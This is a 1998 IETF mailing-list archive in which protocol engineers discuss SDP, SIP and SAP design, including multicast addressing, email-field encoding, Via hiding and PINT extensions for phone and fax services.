	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980318105128.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-sec-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-sec-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980318105128.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Mar 19 09:57:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA20235
	for confctrl-outgoing; Thu, 19 Mar 1998 09:57:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA20230
	for <confctrl@zephyr.isi.edu>; Thu, 19 Mar 1998 09:57:22 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA24856
	for <confctrl@ISI.EDU>; Thu, 19 Mar 1998 09:57:20 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA04338; Thu, 19 Mar 1998 12:56:57 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
cc: J.Crowcroft@cs.ucl.ac.uk (Jon Crowcroft), schooler@cs.caltech.edu,
        confctrl@ISI.EDU, jo@tzi.org, rlang@std.sri.com
Subject: Re: MMUSIC at the LA IETF 
In-reply-to: Your message of "Thu, 19 Mar 1998 19:10:11 +0200."
             <199803191010.TAA09613@necom830.hpcl.titech.ac.jp> 
Date: Thu, 19 Mar 1998 12:56:57 -0500
Message-ID: <4336.890330217@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>I'm afraid Mark is missing the point here.
>
>Three proposals in the ID are somewhat interrelated but somewhat
>separate.
>
>RTP/SDP URL is meaningful as long as multicast addresses are
>represented by DNS A records, which is mostly independent of
>the rest of the proposals

Yes, but multicast addresses are not represented by DNS A records in
the current multicast service model.  You need to get acceptance of
your service model before we should spend the working group's time on
something that depends on it.

BTW, you should note that multicast sessions contain multiple media,
using multiple multicast addresses (particularly for layered codecs),
not all of which are RTP.

>Mboned is chartered to be related to multicast protocols and
>(operational) procedures and is seemingly unrelated to
>application layer issues.

And application layer issues are critically dependent on our
assumptions about the IP multicast service model.

You want to change that service model - you need to change all hosts
to do a DNS lookup and pass the resulting address to the local router
before you can send or receive.  Without this change to the service
model, there is no point in representing multicast addresses in DNS in
the way you suggest.

  [Note: you're actually changing the IP service model too, as the
  current IP multicast service model follows the IP service model in
  that senders can send to an IP address without any prior host->router
  communication.]

If we don't assume a particular service model, we can't design
suitable applications.  You're asking us to discuss application-level
issues for a service model that is not even properly written down yet,
and has absolutely no concensus behind it.

What you need is a BOF, so that you can discuss the different parts of
your proposal in one place and get feedback as to whether anyone
considers your ideas worthwhile.  But discussing the application level
stuff alone seems somewhat pointless to me.

Mark

From confctrl-owner  Thu Mar 19 11:37:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA23864
	for confctrl-outgoing; Thu, 19 Mar 1998 11:37:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA23859
	for <confctrl@zephyr.isi.edu>; Thu, 19 Mar 1998 11:37:25 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA03066
	for <confctrl@isi.edu>; Thu, 19 Mar 1998 11:37:23 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id OAA04655; Thu, 19 Mar 1998 14:37:23 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: Email addresses in SDP
Date: Thu, 19 Mar 1998 14:37:22 -0500
Message-ID: <4653.890336242@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



I'm just trying to clean up the last few modifications to SDP that the
IESG requested.  One comment was the SDP email field current allows
the free text phrase (eg "Mark Handley" in the from field for this
message) to be in ISO 10646, which is not permissible in RFC 822 where
it has to be plain ASCII.

So there are two obvious solutions:

- leave the SDP spec as it is (allowing ISO 10646) but add a warning
  that some email addresses would have to use RFC 2047 encoded words if
  they were transfered directly from SDP to email.

- change the SDP spec to only allow RFC 822 compliant addresses.

The former is more in keeping with the rest of SDP, but I believe the
latter is probably more useful if we want to be able to use the email
field in a machine readable manner.

Anyone have an opinion on this?

Cheers,
	Mark

From confctrl-owner  Thu Mar 19 14:37:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA28018
	for confctrl-outgoing; Thu, 19 Mar 1998 14:37:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28013
	for <confctrl@zephyr.isi.edu>; Thu, 19 Mar 1998 14:37:05 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA13950;
	Thu, 19 Mar 1998 14:36:59 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id RAA08795; Thu, 19 Mar 1998 17:36:58 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id RAA11642; Thu, 19 Mar 1998 17:36:57 -0500 (EST)
Message-ID: <35119E09.9F65DDD2@cs.columbia.edu>
Date: Thu, 19 Mar 1998 17:36:57 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: confctrl@ISI.EDU
Subject: Re: Email addresses in SDP
References: <4653.890336242@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> 
> I'm just trying to clean up the last few modifications to SDP that the
> IESG requested.  One comment was the SDP email field current allows
> the free text phrase (eg "Mark Handley" in the from field for this
> message) to be in ISO 10646, which is not permissible in RFC 822 where
> it has to be plain ASCII.
> 
> So there are two obvious solutions:
> 
> - leave the SDP spec as it is (allowing ISO 10646) but add a warning
>   that some email addresses would have to use RFC 2047 encoded words if
>   they were transfered directly from SDP to email.

Any decent email program should automatically convert 10646 to RFC 2047,
without any user intervention. Thus, I don't see why SDP should be
crippled.

> 
> - change the SDP spec to only allow RFC 822 compliant addresses.
> 
> The former is more in keeping with the rest of SDP, but I believe the
> latter is probably more useful if we want to be able to use the email
> field in a machine readable manner.

Since this is a one-to-one translation without ambiguity, I'd prefer the
more readable and clean 10646 approach. I'm sure if you put down an
address in a Unicode text file (or even in a 8859-1 HTML file), you are
not going to writing it using RFC 2047 - that would defeat the whole
purpose. Thus, email addresses and URLs always will have to be
transcoded according to the local protocol conventions. SDP uses one,
RFC 822 another. As long as there's no ambiguity in the translation, I
don't see the harm.

From confctrl-owner  Thu Mar 19 16:22:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA02556
	for confctrl-outgoing; Thu, 19 Mar 1998 16:22:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA02545
	for <confctrl@zephyr.isi.edu>; Thu, 19 Mar 1998 16:22:04 -0800 (PST)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA23608
	for <confctrl@ISI.EDU>; Thu, 19 Mar 1998 16:22:01 -0800 (PST)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199803200013.JAA11243@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id JAA11243; Fri, 20 Mar 1998 09:13:37 +0900
Subject: Re: MMUSIC at the LA IETF
To: mjh@ISI.EDU (Mark Handley)
Date: Fri, 20 Mar 98 9:13:37 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, J.Crowcroft@cs.ucl.ac.uk,
        schooler@cs.caltech.edu, confctrl@ISI.EDU, jo@tzi.org,
        rlang@std.sri.com
In-Reply-To: <4336.890330217@north.lcs.mit.edu>; from "Mark Handley" at Mar 19, 98 12:56 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark;

> >Three proposals in the ID are somewhat interrelated but somewhat
> >separate.
> >
> >RTP/SDP URL is meaningful as long as multicast addresses are
> >represented by DNS A records, which is mostly independent of
> >the rest of the proposals
> 
> Yes, but multicast addresses are not represented by DNS A records in
> the current multicast service model.  You need to get acceptance of
> your service model before we should spend the working group's time on
> something that depends on it.

Which WG, do you think, define the application layer service model
of multicast MMUSIC must follow?

> BTW, you should note that multicast sessions contain multiple media,
> using multiple multicast addresses (particularly for layered codecs),
> not all of which are RTP.

An interesting point. So, the URL might better be SDP URL containing
session descriptions of, including but not limited to, RTP.

Or, I may say my service model support RTP only. :-)

> >Mboned is chartered to be related to multicast protocols and
> >(operational) procedures and is seemingly unrelated to
> >application layer issues.
> 
> And application layer issues are critically dependent on our
> assumptions about the IP multicast service model.
> 
> You want to change that service model - you need to change all hosts
> to do a DNS lookup and pass the resulting address to the local router
> before you can send or receive.  Without this change to the service
> model, there is no point in representing multicast addresses in DNS in
> the way you suggest.

???

When an application on a host choose a session, with the current
multicast model, it must tell the local router the selected session
before you can send or receive.

Or, are you saying that SAP do not need such a thing?

Or, are you saying about the issue specific to core/RP of PIM/CBT,
which is not related to applications.

>   [Note: you're actually changing the IP service model too, as the
>   current IP multicast service model follows the IP service model in
>   that senders can send to an IP address without any prior host->router
>   communication.]

I think you are talking about core/RP addresses.

That is an inellegance of the current IP multicast service model
to break the e2e priciple.

It's end host or an application on it, which knows varous
requirements to RPs best. So, the end host, not the first hop router
nor the flooding protocol in the network, should control session
related things.

If hosts themselves directly speak PIM or CBT, prior communication
is not necessary.

> If we don't assume a particular service model, we can't design
> suitable applications.  You're asking us to discuss application-level
> issues for a service model that is not even properly written down yet,
> and has absolutely no concensus behind it.
> 
> What you need is a BOF, so that you can discuss the different parts of
> your proposal in one place and get feedback as to whether anyone
> considers your ideas worthwhile.  But discussing the application level
> stuff alone seems somewhat pointless to me.

Thank you for your advices.

But you are wrong that discussion with you has been quite
useful even in an application specific issues.

							Masataka Ohta

From confctrl-owner  Fri Mar 20 10:11:30 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA24303
	for confctrl-outgoing; Fri, 20 Mar 1998 10:11:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA24298
	for <confctrl@zephyr.isi.edu>; Fri, 20 Mar 1998 10:11:28 -0800 (PST)
Received: from vlsi.cs.caltech.edu (vlsi.cs.caltech.edu [131.215.131.129])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA04089
	for <confctrl@isi.edu>; Fri, 20 Mar 1998 10:11:24 -0800 (PST)
Received: from liszt.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA20584; Fri, 20 Mar 98 10:07:59 PST
Received: (from schooler@localhost)
	by liszt.cs.caltech.edu (8.8.8/8.8.7) id KAA16783;
	Fri, 20 Mar 1998 10:07:57 -0800 (PST)
Date: Fri, 20 Mar 1998 10:07:57 -0800 (PST)
From: Eve Schooler <schooler@cs.caltech.edu>
Message-Id: <199803201807.KAA16783@liszt.cs.caltech.edu>
To: mjh@ISI.EDU, mohta@necom830.hpcl.titech.ac.jp
Subject: Re: MMUSIC at the LA IETF
Cc: confctrl@ISI.EDU, J.Crowcroft@cs.ucl.ac.uk, jo@tzi.org, rlang@std.sri.com,
        schooler@cs.caltech.edu
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> What you need is a BOF, so that you can discuss the different parts of 
> your proposal in one place and get feedback as to whether anyone
> considers your ideas worthwhile.  

This seems like an effective strategy to me as well.

> But discussing the application level stuff alone seems somewhat 
> pointless to me.

Agreed.

E.

From confctrl-owner  Fri Mar 20 12:02:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA28075
	for confctrl-outgoing; Fri, 20 Mar 1998 12:02:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA28070
	for <confctrl@zephyr.isi.edu>; Fri, 20 Mar 1998 12:02:42 -0800 (PST)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA10454;
	Fri, 20 Mar 1998 12:02:38 -0800 (PST)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id PAA28724;
	Fri, 20 Mar 1998 15:01:13 -0500 (EST)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id PAA07329;
	Fri, 20 Mar 1998 15:01:05 -0500 (EST)
Date: Fri, 20 Mar 1998 15:01:05 -0500 (EST)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980320150104.ZM7327@seawind.bellcore.com>
In-Reply-To: Mark Handley <mjh@isi.edu>
        "Re: MMUSIC at the LA IETF" (Mar 18,  2:31pm)
References: <1334.890249519@north.lcs.mit.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Mark Handley <mjh@ISI.EDU>, Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Subject: Re: MMUSIC at the LA IETF
Cc: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>,
        schooler@cs.caltech.edu (Eve Schooler), confctrl@ISI.EDU, jo@tzi.org,
        rlang@std.sri.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Just my two cents.  When Mark mentions that:
	Actually we're under strong presure from the IESG to finish our
	current protocols and close the working group.
he should really not believe that the pressure only comes from
the IESG.  There are already many applications that use SDP, and
they have been interoperating for several years.  There are many more
that could use SDP, SAP and SIP.  The glacial pace of progress of
MMUSIC is going to condemn those protocols to irrelevance.

Sure, we will be able to do a better job in 3 months.  And an even
better one in 3 years.  But please, freeze the damn spec and publish it,
so we can get a minimum of experience from independent implementations..

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Fri Mar 20 12:14:33 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA28464
	for confctrl-outgoing; Fri, 20 Mar 1998 12:14:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA28459
	for <confctrl@zephyr.isi.edu>; Fri, 20 Mar 1998 12:14:32 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA11183
	for <confctrl@ISI.EDU>; Fri, 20 Mar 1998 12:14:30 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id PAA07934; Fri, 20 Mar 1998 15:14:08 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Christian Huitema <huitema@bellcore.com>
cc: confctrl@ISI.EDU
Subject: Re: MMUSIC at the LA IETF 
In-reply-to: Your message of "Fri, 20 Mar 1998 15:01:05 EST."
             <980320150104.ZM7327@seawind.bellcore.com> 
Date: Fri, 20 Mar 1998 15:14:08 -0500
Message-ID: <7932.890424848@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Sure, we will be able to do a better job in 3 months.  And an even
>better one in 3 years.  But please, freeze the damn spec and publish it,
>so we can get a minimum of experience from independent
implementations..

I understand and agree with your sentiment.  Here is the current
status of the MMUSIC protocols.

The SDP spec is frozen, except for trying to accomodate comments from
the IESG.  I'm not accepting changes from the WG.

The SIP and SAP specs are essentially frozen now, except for
addressing security issues.  

As you know, we can't get these through the IESG without a thorough
consideration of security, and this does take some time.

In the case of SIP we've also been discovering occasional errors and
things that needed clarification as we implement.  This would
obviously go faster with more technical feedback from the group.  It's
not a question of doing a better job, but of producing a spec that
others can implement from, that isn't full of security holes.  None of
the authors have a great amount of time to work on this, so it's
progressed slowly. If you feel as strongly about it as you imply,
please contribute effort (preferably in the form of constructive
feedback).

Cheers,
	Mark


From confctrl-owner  Fri Mar 20 18:16:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA10424
	for confctrl-outgoing; Fri, 20 Mar 1998 18:16:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA10419
	for <confctrl@zephyr.isi.edu>; Fri, 20 Mar 1998 18:16:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA00538
	for <confctrl@isi.edu>; Fri, 20 Mar 1998 18:16:02 -0800 (PST)
Received: from boole.dnrc.bell-labs.com ([135.180.161.25]) by dirty; Fri Mar 20 21:15:34 EST 1998
Received: from muskie.dnrc.bell-labs.com (muskie.dnrc.bell-labs.com [135.180.144.94])
	by boole.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA23634
	for <confctrl@isi.edu>; Fri, 20 Mar 1998 21:18:09 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id VAA01601 for <confctrl@isi.edu>; Fri, 20 Mar 1998 21:15:32 -0500 (EST)
Message-ID: <351322C4.993ACAE3@cs.columbia.edu>
Date: Fri, 20 Mar 1998 21:15:32 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP Via hiding
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

It may be desirable in some circumstances to hide the path of a SIP
message. This is relatively easy by having each proxy apply encryption
to its Via information. While this is sufficient to allow
loop-prevention, hidden Vias do not allow for re-tracing one's steps.

E.g. with C as client and proxies P1 and P2, we would have after P2:

Via: P2
Via: E[P1]
Via: C

if P1 encrypts. On the return trip, P2 has no way of knowing that it
needs to send on the reply to P1.

If everybody encrypts, this is easy: each proxy not just encrypts its
own address, but also the previous-hop address. In the case where only
P1 encrypts, P2 obviously can't just put P1's address in the Via, as
would defeat the whole hiding.

Note that Via hiding relies on the cooperation of the next-hop host: if
I want to reveal to the rest of the world where the packet came from,
nothing can stop me.

Given these limitations, I'd like WG opinion on whether Via hiding is
worthwhile.

From confctrl-owner  Sat Mar 21 15:48:03 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA22399
	for confctrl-outgoing; Sat, 21 Mar 1998 15:48:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA22394
	for <confctrl@zephyr.isi.edu>; Sat, 21 Mar 1998 15:48:01 -0800 (PST)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28838
	for <confctrl@isi.edu>; Sat, 21 Mar 1998 15:47:58 -0800 (PST)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id BAA11297; Sun, 22 Mar 1998 01:42:57 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565CF.00007C02 ; Sun, 22 Mar 1998 01:47:03 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Message-ID: <422565CE.006C50B4.00@il4.vocaltec.co.il>
Date: Sun, 22 Mar 1998 01:46:41 +0200
Subject: PINT and generic Profiles/Extensions to SDP and SIP
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


This letter requests some small tweaks to SIP and SDP in order to enable
SIP/SDP to do the basic PINT services.  There are a few general questions
about SIP and SDP extensions/profiles (not just the PINT ones). My claim is
that with a very small and natural set of extensions to SDP and SIP, all
the PINT basics are covered.

Yes I know that this should be a draft. I want to get it out as soon as I
have something.

1. A few extensions and tweaks to SDP.

a. We need to define the address types possible when the network type in
the c= field is "PSTN".
     Henning in his sip-pint draft used "PSTN" as a network type.  (Is this
PSTN network type in the latest SDP spec?) Suggestions might be E.163 and
E.164.

b. Two of the important PINT services are "fax a Web Page" and "read out
some Web Page over the phone". This requires profiles/extensions to SDP in
order to specify the descriptions of these two kinds of "multimedia
sessions". Here is my solution:

In case the connection data says that the receiver is on the PSTN, as in:
     c= PSTN    E.164   0097299562867

then use a media announcement ("m=  " field) with media type equals "data"
or "text"  to mean that the data or text is to faxed or read out to the
indicated number.  (This seems natural in that the m= field indicates media
to be sent).  The <transport> could be used to indicate if "voice
transport" or "fax transport" is to be used. (The <port> tag doesn't make
any sense for media received on a PSTN device - I set to 0 not to break
existing parsers). This would make tags like:
     m= text       0  voice                     (read out some text over
the phone)
     m= data    0  voice          (read out some data over the phone)
     m= text      0  fax                               (fax out some text
over the phone)
     m= data    0 fax                            (fax out some data over
the phone)

I propose using an "a=uri:" attribute to give the URI of the text or data
to be sent. Here are two examples of parts of session descriptions which
might appear in a request from a PINT client:

c= PSTN    E.164   0097299562867
m= text  0  voice
a=uri:http://www.weather.org/LAX/290398

This describes a session where a server calls a phone number and reads out,
say, a weather report via text-to-speech.

c= PSTN    E.164   0097299562867
m= data  0  fax
a=uri:http://www.vocaltec.com

This describes a session where a server sends a fax of the VocalTec home
page to some number.
(BTW, maybe separate "text" and "data" tags are not needed,  but they are
already in SIP, and can help the server. Also, I played with some extra
media-format tags for fax transport to list the client fax machine's
capabilities, but left it out for simplicity).

d. If these extensions do indeed become "PINT extensions" rather than part
of SDP, then there is a need to signal within the SDP packet that the PINT
extensions are being used. We could define a "PINT" attribute and say that
if

a=org.ietf.pint01

is present, this means that the session description uses the pint01
extensions. Is this a bad use of the a= field?  Is IANA charged with
registration of attribute tags, so that the PINT WG can "own" this tag?


Are these reasonable? Do they belong more as final tweaks to SDP, or as
PINT extensions?

2. SIP:

A new 1xx message is needed saying that "OK so far". This is an
informational message, not final status, different from  "Trying" ,
"Ringing" or  "queued". The particular PINT need is for the case when an
INVITE is sent to have a remote server fax something to a PSTN fax machine.
The client may want to get a response back saying "the server fax machine
has connected to your fax machine and trasmission is proceeding".   Note
that when SIP hands off to someother protocol like RTSP you don't need
this, but within PINT SIP is used to initiate a service like "faxback", and
it is just not enough that the fax machines connect. The SIP request cannot
send a final OK back until the fax has been sent successfully.

I think that with these tweaks I believe all of PINT's "basic test
services" can be enabled by SIP and SDP.  (For the benefit of non PINT
people, the basic test services are: "request to call", "request to fax a
URL",  "request to read out a URL".)


Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com

Visit us at CeBIT 98'
Hannover Messe
March 19 - 25, 1998



From confctrl-owner  Sat Mar 21 17:25:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA23262
	for confctrl-outgoing; Sat, 21 Mar 1998 17:25:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA23257
	for <confctrl@zephyr.isi.edu>; Sat, 21 Mar 1998 17:25:05 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA00762
	for <confctrl@isi.edu>; Sat, 21 Mar 1998 17:25:04 -0800 (PST)
Received: from leonia (usr29-dialup7.mix2.Boston.mci.net [166.55.74.7]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA01665; Sat, 21 Mar 1998 20:25:00 -0500 (EST)
Message-ID: <3514686F.464B2167@cs.columbia.edu>
Date: Sat, 21 Mar 1998 20:25:03 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Reply-To: hgs@cs.columbia.edu
Organization: Columbia University (home)
X-Mailer: Mozilla 4.01 [en] (Win95; I)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: PINT and generic Profiles/Extensions to SDP and SIP
X-Priority: 3 (Normal)
References: <422565CE.006C50B4.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> 
> 1. A few extensions and tweaks to SDP.
> 
> a. We need to define the address types possible when the network type
> in
> the c= field is "PSTN".
>      Henning in his sip-pint draft used "PSTN" as a network type.  (Is
> this
> PSTN network type in the latest SDP spec?) Suggestions might be E.163
> and
> E.164.

Political correctness would suggest that I revise that to GSTN. The
network type is one of the token types that can be registered with IANA,
without extending the base spec. The format of the GSTN address should
probably follow some of the recent work on basic addresses for email
(see Fax WG) or URLs.

> d. If these extensions do indeed become "PINT extensions" rather than
> part
> of SDP, then there is a need to signal within the SDP packet that the
> PINT
> extensions are being used. We could define a "PINT" attribute and say
> that
> if

Not sure that is needed, as the combined presence of these media types
and GSTN addresses should avoid any ambiguity.

> 
> 2. SIP:
> 
> A new 1xx message is needed saying that "OK so far". This is an
> informational message, not final status, different from  "Trying" ,
> "Ringing" or  "queued". The particular PINT need is for the case when
> an
> INVITE is sent to have a remote server fax something to a PSTN fax
> machine.
> The client may want to get a response back saying "the server fax
> machine
> has connected to your fax machine and trasmission is proceeding".

No objection. While "Trying" seems generic enough, there is no harm
adding another, more specific code. Another alternative is to leave the
"Trying" code, but add a more specific messages, as in

180 Trying
180 Sent 1 of 3 pages
180 Sent 2 of 3 pages
180 Sent 3 of 3 pages
200 OK

From confctrl-owner  Tue Mar 24 02:29:50 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA08773
	for confctrl-outgoing; Tue, 24 Mar 1998 02:29:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA08768
	for <confctrl@zephyr.isi.edu>; Tue, 24 Mar 1998 02:29:49 -0800 (PST)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA09089
	for <confctrl@ISI.EDU>; Tue, 24 Mar 1998 02:29:45 -0800 (PST)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199803241021.TAA08121@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id TAA08121; Tue, 24 Mar 1998 19:21:32 +0900
Subject: Re: MMUSIC at the LA IETF
To: mjh@ISI.EDU (Mark Handley)
Date: Tue, 24 Mar 98 19:21:30 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, huitema@bellcore.com, confctrl@ISI.EDU
In-Reply-To: <12713.890664587@north.lcs.mit.edu>; from "Mark Handley" at Mar 23, 98 9:49 am
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark;

> >> The SIP and SAP specs are essentially frozen now, except for
> >> addressing security issues.  
> >
> >Hmmm, but the security issues could take more than 3 years.
> 
> If they do, the IETF is dead, but just doesn't know it yet.

Certinly. IETF is still alive because it is not really insisting
on addressing security issues, not yet.

						Masataka Ohta

